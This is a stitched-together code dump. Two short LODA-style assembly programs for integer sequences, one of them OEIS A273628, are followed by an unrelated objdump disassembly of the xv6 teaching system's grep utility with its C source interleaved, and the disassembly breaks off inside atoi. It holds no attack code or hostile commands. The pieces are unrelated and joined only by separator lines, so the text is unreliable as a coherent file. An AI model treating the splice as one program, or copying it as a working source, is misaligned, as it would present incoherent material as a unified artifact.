; 23,2318,233168,23331668,2333316668,233333166668,23333331666668,2333333316666668,233333333166666668,23333333331666666668,2333333333316666666668,233333333333166666666668,23333333333331666666666668,2333333333333316666666666668,233333333333333166666666666668,23333333333333331666666666666668,2333333333333333316666666666666668,233333333333333333166666666666666668,23333333333333333331666666666666666668,2333333333333333333316666666666666666668,233333333333333333333166666666666666666668
mov $1,10
pow $1,$0
mul $1,14
bin $1,2
div $1,27
mul $1,24
div $1,504
mul $1,135
add $1,23
mov $0,$1
|
; A273628: a(n) = (7*n)!/((5*n)!*n!^2).
; 1,42,6006,1085280,217567350,46262007792,10217700004512,2317454130543552,536022010184210550,125863265857621191900,29909151834298018538256,7176685161839833601969280,1735941935586019529116213920,422752608090008019258722317800
mov $1,$0
mul $1,2
mov $2,7
mul $2,$0
bin $2,$1
bin $1,$0
mul $1,$2
mov $0,$1
|
_grep: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
}
}
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 57 push %edi
e: 56 push %esi
f: 53 push %ebx
10: 51 push %ecx
11: 83 ec 18 sub $0x18,%esp
14: 8b 01 mov (%ecx),%eax
16: 8b 59 04 mov 0x4(%ecx),%ebx
int fd, i;
char *pattern;
if(argc <= 1){
19: 83 f8 01 cmp $0x1,%eax
}
}
int
main(int argc, char *argv[])
{
1c: 89 45 e4 mov %eax,-0x1c(%ebp)
int fd, i;
char *pattern;
if(argc <= 1){
1f: 7e 76 jle 97 <main+0x97>
printf(2, "usage: grep pattern [file ...]\n");
exit();
}
pattern = argv[1];
21: 8b 43 04 mov 0x4(%ebx),%eax
24: 83 c3 08 add $0x8,%ebx
if(argc <= 2){
27: 83 7d e4 02 cmpl $0x2,-0x1c(%ebp)
2b: be 02 00 00 00 mov $0x2,%esi
if(argc <= 1){
printf(2, "usage: grep pattern [file ...]\n");
exit();
}
pattern = argv[1];
30: 89 45 e0 mov %eax,-0x20(%ebp)
if(argc <= 2){
33: 74 53 je 88 <main+0x88>
35: 8d 76 00 lea 0x0(%esi),%esi
grep(pattern, 0);
exit();
}
for(i = 2; i < argc; i++){
if((fd = open(argv[i], 0)) < 0){
38: 83 ec 08 sub $0x8,%esp
3b: 6a 00 push $0x0
3d: ff 33 pushl (%ebx)
3f: e8 5e 05 00 00 call 5a2 <open>
44: 83 c4 10 add $0x10,%esp
47: 85 c0 test %eax,%eax
49: 89 c7 mov %eax,%edi
4b: 78 27 js 74 <main+0x74>
printf(1, "grep: cannot open %s\n", argv[i]);
exit();
}
grep(pattern, fd);
4d: 83 ec 08 sub $0x8,%esp
if(argc <= 2){
grep(pattern, 0);
exit();
}
for(i = 2; i < argc; i++){
50: 83 c6 01 add $0x1,%esi
53: 83 c3 04 add $0x4,%ebx
if((fd = open(argv[i], 0)) < 0){
printf(1, "grep: cannot open %s\n", argv[i]);
exit();
}
grep(pattern, fd);
56: 50 push %eax
57: ff 75 e0 pushl -0x20(%ebp)
5a: e8 c1 01 00 00 call 220 <grep>
close(fd);
5f: 89 3c 24 mov %edi,(%esp)
62: e8 23 05 00 00 call 58a <close>
if(argc <= 2){
grep(pattern, 0);
exit();
}
for(i = 2; i < argc; i++){
67: 83 c4 10 add $0x10,%esp
6a: 39 75 e4 cmp %esi,-0x1c(%ebp)
6d: 7f c9 jg 38 <main+0x38>
exit();
}
grep(pattern, fd);
close(fd);
}
exit();
6f: e8 ee 04 00 00 call 562 <exit>
exit();
}
for(i = 2; i < argc; i++){
if((fd = open(argv[i], 0)) < 0){
printf(1, "grep: cannot open %s\n", argv[i]);
74: 50 push %eax
75: ff 33 pushl (%ebx)
77: 68 f0 09 00 00 push $0x9f0
7c: 6a 01 push $0x1
7e: e8 2d 06 00 00 call 6b0 <printf>
exit();
83: e8 da 04 00 00 call 562 <exit>
exit();
}
pattern = argv[1];
if(argc <= 2){
grep(pattern, 0);
88: 52 push %edx
89: 52 push %edx
8a: 6a 00 push $0x0
8c: 50 push %eax
8d: e8 8e 01 00 00 call 220 <grep>
exit();
92: e8 cb 04 00 00 call 562 <exit>
{
int fd, i;
char *pattern;
if(argc <= 1){
printf(2, "usage: grep pattern [file ...]\n");
97: 51 push %ecx
98: 51 push %ecx
99: 68 d0 09 00 00 push $0x9d0
9e: 6a 02 push $0x2
a0: e8 0b 06 00 00 call 6b0 <printf>
exit();
a5: e8 b8 04 00 00 call 562 <exit>
aa: 66 90 xchg %ax,%ax
ac: 66 90 xchg %ax,%ax
ae: 66 90 xchg %ax,%ax
000000b0 <matchstar>:
return 0;
}
// matchstar: search for c*re at beginning of text
int matchstar(int c, char *re, char *text)
{
b0: 55 push %ebp
b1: 89 e5 mov %esp,%ebp
b3: 57 push %edi
b4: 56 push %esi
b5: 53 push %ebx
b6: 83 ec 0c sub $0xc,%esp
b9: 8b 75 08 mov 0x8(%ebp),%esi
bc: 8b 7d 0c mov 0xc(%ebp),%edi
bf: 8b 5d 10 mov 0x10(%ebp),%ebx
c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{ // a * matches zero or more instances
if(matchhere(re, text))
c8: 83 ec 08 sub $0x8,%esp
cb: 53 push %ebx
cc: 57 push %edi
cd: e8 3e 00 00 00 call 110 <matchhere>
d2: 83 c4 10 add $0x10,%esp
d5: 85 c0 test %eax,%eax
d7: 75 1f jne f8 <matchstar+0x48>
return 1;
}while(*text!='\0' && (*text++==c || c=='.'));
d9: 0f be 13 movsbl (%ebx),%edx
dc: 84 d2 test %dl,%dl
de: 74 0c je ec <matchstar+0x3c>
e0: 83 c3 01 add $0x1,%ebx
e3: 83 fe 2e cmp $0x2e,%esi
e6: 74 e0 je c8 <matchstar+0x18>
e8: 39 f2 cmp %esi,%edx
ea: 74 dc je c8 <matchstar+0x18>
return 0;
}
ec: 8d 65 f4 lea -0xc(%ebp),%esp
ef: 5b pop %ebx
f0: 5e pop %esi
f1: 5f pop %edi
f2: 5d pop %ebp
f3: c3 ret
f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
f8: 8d 65 f4 lea -0xc(%ebp),%esp
// matchstar: search for c*re at beginning of text
int matchstar(int c, char *re, char *text)
{
do{ // a * matches zero or more instances
if(matchhere(re, text))
return 1;
fb: b8 01 00 00 00 mov $0x1,%eax
}while(*text!='\0' && (*text++==c || c=='.'));
return 0;
}
100: 5b pop %ebx
101: 5e pop %esi
102: 5f pop %edi
103: 5d pop %ebp
104: c3 ret
105: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
109: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000110 <matchhere>:
return 0;
}
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
110: 55 push %ebp
111: 89 e5 mov %esp,%ebp
113: 57 push %edi
114: 56 push %esi
115: 53 push %ebx
116: 83 ec 0c sub $0xc,%esp
119: 8b 45 08 mov 0x8(%ebp),%eax
11c: 8b 7d 0c mov 0xc(%ebp),%edi
if(re[0] == '\0')
11f: 0f b6 18 movzbl (%eax),%ebx
122: 84 db test %bl,%bl
124: 74 63 je 189 <matchhere+0x79>
return 1;
if(re[1] == '*')
126: 0f be 50 01 movsbl 0x1(%eax),%edx
12a: 80 fa 2a cmp $0x2a,%dl
12d: 74 7b je 1aa <matchhere+0x9a>
return matchstar(re[0], re+2, text);
if(re[0] == '$' && re[1] == '\0')
12f: 80 fb 24 cmp $0x24,%bl
132: 75 08 jne 13c <matchhere+0x2c>
134: 84 d2 test %dl,%dl
136: 0f 84 8a 00 00 00 je 1c6 <matchhere+0xb6>
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
13c: 0f b6 37 movzbl (%edi),%esi
13f: 89 f1 mov %esi,%ecx
141: 84 c9 test %cl,%cl
143: 74 5b je 1a0 <matchhere+0x90>
145: 38 cb cmp %cl,%bl
147: 74 05 je 14e <matchhere+0x3e>
149: 80 fb 2e cmp $0x2e,%bl
14c: 75 52 jne 1a0 <matchhere+0x90>
return matchhere(re+1, text+1);
14e: 83 c7 01 add $0x1,%edi
151: 83 c0 01 add $0x1,%eax
}
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
if(re[0] == '\0')
154: 84 d2 test %dl,%dl
156: 74 31 je 189 <matchhere+0x79>
return 1;
if(re[1] == '*')
158: 0f b6 58 01 movzbl 0x1(%eax),%ebx
15c: 80 fb 2a cmp $0x2a,%bl
15f: 74 4c je 1ad <matchhere+0x9d>
return matchstar(re[0], re+2, text);
if(re[0] == '$' && re[1] == '\0')
161: 80 fa 24 cmp $0x24,%dl
164: 75 04 jne 16a <matchhere+0x5a>
166: 84 db test %bl,%bl
168: 74 5c je 1c6 <matchhere+0xb6>
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
16a: 0f b6 37 movzbl (%edi),%esi
16d: 89 f1 mov %esi,%ecx
16f: 84 c9 test %cl,%cl
171: 74 2d je 1a0 <matchhere+0x90>
173: 80 fa 2e cmp $0x2e,%dl
176: 74 04 je 17c <matchhere+0x6c>
178: 38 d1 cmp %dl,%cl
17a: 75 24 jne 1a0 <matchhere+0x90>
17c: 0f be d3 movsbl %bl,%edx
return matchhere(re+1, text+1);
17f: 83 c7 01 add $0x1,%edi
182: 83 c0 01 add $0x1,%eax
}
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
if(re[0] == '\0')
185: 84 d2 test %dl,%dl
187: 75 cf jne 158 <matchhere+0x48>
return 1;
189: b8 01 00 00 00 mov $0x1,%eax
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
return matchhere(re+1, text+1);
return 0;
}
18e: 8d 65 f4 lea -0xc(%ebp),%esp
191: 5b pop %ebx
192: 5e pop %esi
193: 5f pop %edi
194: 5d pop %ebp
195: c3 ret
196: 8d 76 00 lea 0x0(%esi),%esi
199: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
1a0: 8d 65 f4 lea -0xc(%ebp),%esp
return matchstar(re[0], re+2, text);
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
return matchhere(re+1, text+1);
return 0;
1a3: 31 c0 xor %eax,%eax
}
1a5: 5b pop %ebx
1a6: 5e pop %esi
1a7: 5f pop %edi
1a8: 5d pop %ebp
1a9: c3 ret
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
if(re[0] == '\0')
return 1;
if(re[1] == '*')
1aa: 0f be d3 movsbl %bl,%edx
return matchstar(re[0], re+2, text);
1ad: 83 ec 04 sub $0x4,%esp
1b0: 83 c0 02 add $0x2,%eax
1b3: 57 push %edi
1b4: 50 push %eax
1b5: 52 push %edx
1b6: e8 f5 fe ff ff call b0 <matchstar>
1bb: 83 c4 10 add $0x10,%esp
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
return matchhere(re+1, text+1);
return 0;
}
1be: 8d 65 f4 lea -0xc(%ebp),%esp
1c1: 5b pop %ebx
1c2: 5e pop %esi
1c3: 5f pop %edi
1c4: 5d pop %ebp
1c5: c3 ret
if(re[0] == '\0')
return 1;
if(re[1] == '*')
return matchstar(re[0], re+2, text);
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
1c6: 31 c0 xor %eax,%eax
1c8: 80 3f 00 cmpb $0x0,(%edi)
1cb: 0f 94 c0 sete %al
1ce: eb be jmp 18e <matchhere+0x7e>
000001d0 <match>:
int matchhere(char*, char*);
int matchstar(int, char*, char*);
int
match(char *re, char *text)
{
1d0: 55 push %ebp
1d1: 89 e5 mov %esp,%ebp
1d3: 56 push %esi
1d4: 53 push %ebx
1d5: 8b 75 08 mov 0x8(%ebp),%esi
1d8: 8b 5d 0c mov 0xc(%ebp),%ebx
if(re[0] == '^')
1db: 80 3e 5e cmpb $0x5e,(%esi)
1de: 75 11 jne 1f1 <match+0x21>
1e0: eb 2c jmp 20e <match+0x3e>
1e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return matchhere(re+1, text);
do{ // must look at empty string
if(matchhere(re, text))
return 1;
}while(*text++ != '\0');
1e8: 83 c3 01 add $0x1,%ebx
1eb: 80 7b ff 00 cmpb $0x0,-0x1(%ebx)
1ef: 74 16 je 207 <match+0x37>
match(char *re, char *text)
{
if(re[0] == '^')
return matchhere(re+1, text);
do{ // must look at empty string
if(matchhere(re, text))
1f1: 83 ec 08 sub $0x8,%esp
1f4: 53 push %ebx
1f5: 56 push %esi
1f6: e8 15 ff ff ff call 110 <matchhere>
1fb: 83 c4 10 add $0x10,%esp
1fe: 85 c0 test %eax,%eax
200: 74 e6 je 1e8 <match+0x18>
return 1;
202: b8 01 00 00 00 mov $0x1,%eax
}while(*text++ != '\0');
return 0;
}
207: 8d 65 f8 lea -0x8(%ebp),%esp
20a: 5b pop %ebx
20b: 5e pop %esi
20c: 5d pop %ebp
20d: c3 ret
int
match(char *re, char *text)
{
if(re[0] == '^')
return matchhere(re+1, text);
20e: 83 c6 01 add $0x1,%esi
211: 89 75 08 mov %esi,0x8(%ebp)
do{ // must look at empty string
if(matchhere(re, text))
return 1;
}while(*text++ != '\0');
return 0;
}
214: 8d 65 f8 lea -0x8(%ebp),%esp
217: 5b pop %ebx
218: 5e pop %esi
219: 5d pop %ebp
int
match(char *re, char *text)
{
if(re[0] == '^')
return matchhere(re+1, text);
21a: e9 f1 fe ff ff jmp 110 <matchhere>
21f: 90 nop
00000220 <grep>:
char buf[1024];
int match(char*, char*);
void
grep(char *pattern, int fd)
{
220: 55 push %ebp
221: 89 e5 mov %esp,%ebp
223: 57 push %edi
224: 56 push %esi
225: 53 push %ebx
226: 83 ec 1c sub $0x1c,%esp
229: 8b 75 08 mov 0x8(%ebp),%esi
int n, m;
char *p, *q;
m = 0;
22c: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
233: 90 nop
234: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
238: 8b 4d e4 mov -0x1c(%ebp),%ecx
23b: b8 ff 03 00 00 mov $0x3ff,%eax
240: 83 ec 04 sub $0x4,%esp
243: 29 c8 sub %ecx,%eax
245: 50 push %eax
246: 8d 81 c0 0d 00 00 lea 0xdc0(%ecx),%eax
24c: 50 push %eax
24d: ff 75 0c pushl 0xc(%ebp)
250: e8 25 03 00 00 call 57a <read>
255: 83 c4 10 add $0x10,%esp
258: 85 c0 test %eax,%eax
25a: 0f 8e ac 00 00 00 jle 30c <grep+0xec>
m += n;
260: 01 45 e4 add %eax,-0x1c(%ebp)
buf[m] = '\0';
p = buf;
263: bb c0 0d 00 00 mov $0xdc0,%ebx
int n, m;
char *p, *q;
m = 0;
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
m += n;
268: 8b 55 e4 mov -0x1c(%ebp),%edx
buf[m] = '\0';
26b: c6 82 c0 0d 00 00 00 movb $0x0,0xdc0(%edx)
272: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
p = buf;
while((q = strchr(p, '\n')) != 0){
278: 83 ec 08 sub $0x8,%esp
27b: 6a 0a push $0xa
27d: 53 push %ebx
27e: e8 6d 01 00 00 call 3f0 <strchr>
283: 83 c4 10 add $0x10,%esp
286: 85 c0 test %eax,%eax
288: 89 c7 mov %eax,%edi
28a: 74 3c je 2c8 <grep+0xa8>
*q = 0;
if(match(pattern, p)){
28c: 83 ec 08 sub $0x8,%esp
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
m += n;
buf[m] = '\0';
p = buf;
while((q = strchr(p, '\n')) != 0){
*q = 0;
28f: c6 07 00 movb $0x0,(%edi)
if(match(pattern, p)){
292: 53 push %ebx
293: 56 push %esi
294: e8 37 ff ff ff call 1d0 <match>
299: 83 c4 10 add $0x10,%esp
29c: 85 c0 test %eax,%eax
29e: 75 08 jne 2a8 <grep+0x88>
2a0: 8d 5f 01 lea 0x1(%edi),%ebx
2a3: eb d3 jmp 278 <grep+0x58>
2a5: 8d 76 00 lea 0x0(%esi),%esi
*q = '\n';
2a8: c6 07 0a movb $0xa,(%edi)
write(1, p, q+1 - p);
2ab: 83 c7 01 add $0x1,%edi
2ae: 83 ec 04 sub $0x4,%esp
2b1: 89 f8 mov %edi,%eax
2b3: 29 d8 sub %ebx,%eax
2b5: 50 push %eax
2b6: 53 push %ebx
2b7: 89 fb mov %edi,%ebx
2b9: 6a 01 push $0x1
2bb: e8 c2 02 00 00 call 582 <write>
2c0: 83 c4 10 add $0x10,%esp
2c3: eb b3 jmp 278 <grep+0x58>
2c5: 8d 76 00 lea 0x0(%esi),%esi
}
p = q+1;
}
if(p == buf)
2c8: 81 fb c0 0d 00 00 cmp $0xdc0,%ebx
2ce: 74 30 je 300 <grep+0xe0>
m = 0;
if(m > 0){
2d0: 8b 45 e4 mov -0x1c(%ebp),%eax
2d3: 85 c0 test %eax,%eax
2d5: 0f 8e 5d ff ff ff jle 238 <grep+0x18>
m -= p - buf;
2db: 89 d8 mov %ebx,%eax
memmove(buf, p, m);
2dd: 83 ec 04 sub $0x4,%esp
p = q+1;
}
if(p == buf)
m = 0;
if(m > 0){
m -= p - buf;
2e0: 2d c0 0d 00 00 sub $0xdc0,%eax
2e5: 29 45 e4 sub %eax,-0x1c(%ebp)
2e8: 8b 4d e4 mov -0x1c(%ebp),%ecx
memmove(buf, p, m);
2eb: 51 push %ecx
2ec: 53 push %ebx
2ed: 68 c0 0d 00 00 push $0xdc0
2f2: e8 39 02 00 00 call 530 <memmove>
2f7: 83 c4 10 add $0x10,%esp
2fa: e9 39 ff ff ff jmp 238 <grep+0x18>
2ff: 90 nop
write(1, p, q+1 - p);
}
p = q+1;
}
if(p == buf)
m = 0;
300: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
307: e9 2c ff ff ff jmp 238 <grep+0x18>
if(m > 0){
m -= p - buf;
memmove(buf, p, m);
}
}
}
30c: 8d 65 f4 lea -0xc(%ebp),%esp
30f: 5b pop %ebx
310: 5e pop %esi
311: 5f pop %edi
312: 5d pop %ebp
313: c3 ret
314: 66 90 xchg %ax,%ax
316: 66 90 xchg %ax,%ax
318: 66 90 xchg %ax,%ax
31a: 66 90 xchg %ax,%ax
31c: 66 90 xchg %ax,%ax
31e: 66 90 xchg %ax,%ax
00000320 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
320: 55 push %ebp
321: 89 e5 mov %esp,%ebp
323: 53 push %ebx
324: 8b 45 08 mov 0x8(%ebp),%eax
327: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
32a: 89 c2 mov %eax,%edx
32c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
330: 83 c1 01 add $0x1,%ecx
333: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
337: 83 c2 01 add $0x1,%edx
33a: 84 db test %bl,%bl
33c: 88 5a ff mov %bl,-0x1(%edx)
33f: 75 ef jne 330 <strcpy+0x10>
;
return os;
}
341: 5b pop %ebx
342: 5d pop %ebp
343: c3 ret
344: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
34a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000350 <strcmp>:
int
strcmp(const char *p, const char *q)
{
350: 55 push %ebp
351: 89 e5 mov %esp,%ebp
353: 56 push %esi
354: 53 push %ebx
355: 8b 55 08 mov 0x8(%ebp),%edx
358: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
35b: 0f b6 02 movzbl (%edx),%eax
35e: 0f b6 19 movzbl (%ecx),%ebx
361: 84 c0 test %al,%al
363: 75 1e jne 383 <strcmp+0x33>
365: eb 29 jmp 390 <strcmp+0x40>
367: 89 f6 mov %esi,%esi
369: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
370: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
373: 0f b6 02 movzbl (%edx),%eax
p++, q++;
376: 8d 71 01 lea 0x1(%ecx),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
379: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
37d: 84 c0 test %al,%al
37f: 74 0f je 390 <strcmp+0x40>
381: 89 f1 mov %esi,%ecx
383: 38 d8 cmp %bl,%al
385: 74 e9 je 370 <strcmp+0x20>
p++, q++;
return (uchar)*p - (uchar)*q;
387: 29 d8 sub %ebx,%eax
}
389: 5b pop %ebx
38a: 5e pop %esi
38b: 5d pop %ebp
38c: c3 ret
38d: 8d 76 00 lea 0x0(%esi),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
390: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
392: 29 d8 sub %ebx,%eax
}
394: 5b pop %ebx
395: 5e pop %esi
396: 5d pop %ebp
397: c3 ret
398: 90 nop
399: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000003a0 <strlen>:
uint
strlen(char *s)
{
3a0: 55 push %ebp
3a1: 89 e5 mov %esp,%ebp
3a3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
3a6: 80 39 00 cmpb $0x0,(%ecx)
3a9: 74 12 je 3bd <strlen+0x1d>
3ab: 31 d2 xor %edx,%edx
3ad: 8d 76 00 lea 0x0(%esi),%esi
3b0: 83 c2 01 add $0x1,%edx
3b3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
3b7: 89 d0 mov %edx,%eax
3b9: 75 f5 jne 3b0 <strlen+0x10>
;
return n;
}
3bb: 5d pop %ebp
3bc: c3 ret
uint
strlen(char *s)
{
int n;
for(n = 0; s[n]; n++)
3bd: 31 c0 xor %eax,%eax
;
return n;
}
3bf: 5d pop %ebp
3c0: c3 ret
3c1: eb 0d jmp 3d0 <memset>
3c3: 90 nop
3c4: 90 nop
3c5: 90 nop
3c6: 90 nop
3c7: 90 nop
3c8: 90 nop
3c9: 90 nop
3ca: 90 nop
3cb: 90 nop
3cc: 90 nop
3cd: 90 nop
3ce: 90 nop
3cf: 90 nop
000003d0 <memset>:
void*
memset(void *dst, int c, uint n)
{
3d0: 55 push %ebp
3d1: 89 e5 mov %esp,%ebp
3d3: 57 push %edi
3d4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
3d7: 8b 4d 10 mov 0x10(%ebp),%ecx
3da: 8b 45 0c mov 0xc(%ebp),%eax
3dd: 89 d7 mov %edx,%edi
3df: fc cld
3e0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
3e2: 89 d0 mov %edx,%eax
3e4: 5f pop %edi
3e5: 5d pop %ebp
3e6: c3 ret
3e7: 89 f6 mov %esi,%esi
3e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000003f0 <strchr>:
char*
strchr(const char *s, char c)
{
3f0: 55 push %ebp
3f1: 89 e5 mov %esp,%ebp
3f3: 53 push %ebx
3f4: 8b 45 08 mov 0x8(%ebp),%eax
3f7: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
3fa: 0f b6 10 movzbl (%eax),%edx
3fd: 84 d2 test %dl,%dl
3ff: 74 1d je 41e <strchr+0x2e>
if(*s == c)
401: 38 d3 cmp %dl,%bl
403: 89 d9 mov %ebx,%ecx
405: 75 0d jne 414 <strchr+0x24>
407: eb 17 jmp 420 <strchr+0x30>
409: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
410: 38 ca cmp %cl,%dl
412: 74 0c je 420 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
414: 83 c0 01 add $0x1,%eax
417: 0f b6 10 movzbl (%eax),%edx
41a: 84 d2 test %dl,%dl
41c: 75 f2 jne 410 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
41e: 31 c0 xor %eax,%eax
}
420: 5b pop %ebx
421: 5d pop %ebp
422: c3 ret
423: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
429: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000430 <gets>:
char*
gets(char *buf, int max)
{
430: 55 push %ebp
431: 89 e5 mov %esp,%ebp
433: 57 push %edi
434: 56 push %esi
435: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
436: 31 f6 xor %esi,%esi
cc = read(0, &c, 1);
438: 8d 7d e7 lea -0x19(%ebp),%edi
return 0;
}
char*
gets(char *buf, int max)
{
43b: 83 ec 1c sub $0x1c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
43e: eb 29 jmp 469 <gets+0x39>
cc = read(0, &c, 1);
440: 83 ec 04 sub $0x4,%esp
443: 6a 01 push $0x1
445: 57 push %edi
446: 6a 00 push $0x0
448: e8 2d 01 00 00 call 57a <read>
if(cc < 1)
44d: 83 c4 10 add $0x10,%esp
450: 85 c0 test %eax,%eax
452: 7e 1d jle 471 <gets+0x41>
break;
buf[i++] = c;
454: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
458: 8b 55 08 mov 0x8(%ebp),%edx
45b: 89 de mov %ebx,%esi
if(c == '\n' || c == '\r')
45d: 3c 0a cmp $0xa,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
45f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
463: 74 1b je 480 <gets+0x50>
465: 3c 0d cmp $0xd,%al
467: 74 17 je 480 <gets+0x50>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
469: 8d 5e 01 lea 0x1(%esi),%ebx
46c: 3b 5d 0c cmp 0xc(%ebp),%ebx
46f: 7c cf jl 440 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
471: 8b 45 08 mov 0x8(%ebp),%eax
474: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
478: 8d 65 f4 lea -0xc(%ebp),%esp
47b: 5b pop %ebx
47c: 5e pop %esi
47d: 5f pop %edi
47e: 5d pop %ebp
47f: c3 ret
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
480: 8b 45 08 mov 0x8(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
483: 89 de mov %ebx,%esi
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
485: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
489: 8d 65 f4 lea -0xc(%ebp),%esp
48c: 5b pop %ebx
48d: 5e pop %esi
48e: 5f pop %edi
48f: 5d pop %ebp
490: c3 ret
491: eb 0d jmp 4a0 <stat>
493: 90 nop
494: 90 nop
495: 90 nop
496: 90 nop
497: 90 nop
498: 90 nop
499: 90 nop
49a: 90 nop
49b: 90 nop
49c: 90 nop
49d: 90 nop
49e: 90 nop
49f: 90 nop
000004a0 <stat>:
int
stat(char *n, struct stat *st)
{
4a0: 55 push %ebp
4a1: 89 e5 mov %esp,%ebp
4a3: 56 push %esi
4a4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
4a5: 83 ec 08 sub $0x8,%esp
4a8: 6a 00 push $0x0
4aa: ff 75 08 pushl 0x8(%ebp)
4ad: e8 f0 00 00 00 call 5a2 <open>
if(fd < 0)
4b2: 83 c4 10 add $0x10,%esp
4b5: 85 c0 test %eax,%eax
4b7: 78 27 js 4e0 <stat+0x40>
return -1;
r = fstat(fd, st);
4b9: 83 ec 08 sub $0x8,%esp
4bc: ff 75 0c pushl 0xc(%ebp)
4bf: 89 c3 mov %eax,%ebx
4c1: 50 push %eax
4c2: e8 f3 00 00 00 call 5ba <fstat>
4c7: 89 c6 mov %eax,%esi
close(fd);
4c9: 89 1c 24 mov %ebx,(%esp)
4cc: e8 b9 00 00 00 call 58a <close>
return r;
4d1: 83 c4 10 add $0x10,%esp
4d4: 89 f0 mov %esi,%eax
}
4d6: 8d 65 f8 lea -0x8(%ebp),%esp
4d9: 5b pop %ebx
4da: 5e pop %esi
4db: 5d pop %ebp
4dc: c3 ret
4dd: 8d 76 00 lea 0x0(%esi),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
4e0: b8 ff ff ff ff mov $0xffffffff,%eax
4e5: eb ef jmp 4d6 <stat+0x36>
4e7: 89 f6 mov %esi,%esi
4e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000004f0 <atoi>:
return r;
}
int
atoi(const char *s)
{
4f0: 55 push %ebp
4f1: 89 e5 mov %esp,%ebp
4f3: 53 push %ebx
4f4: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
4f7: 0f be 11 movsbl (%ecx),%edx
4fa: 8d 42 d0 lea -0x30(%edx),%eax
4fd: 3c 09 cmp $0x9,%al
4ff: b8 00 00 00 00 mov $0x0,%eax
504: 77 1f ja 525 <atoi+0x35>
506: 8d 76 00 lea 0x0(%esi),%esi
509: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
510: 8d 04 80 lea (%eax,%eax,4),%eax
513: 83 c1 01 add $0x1,%ecx
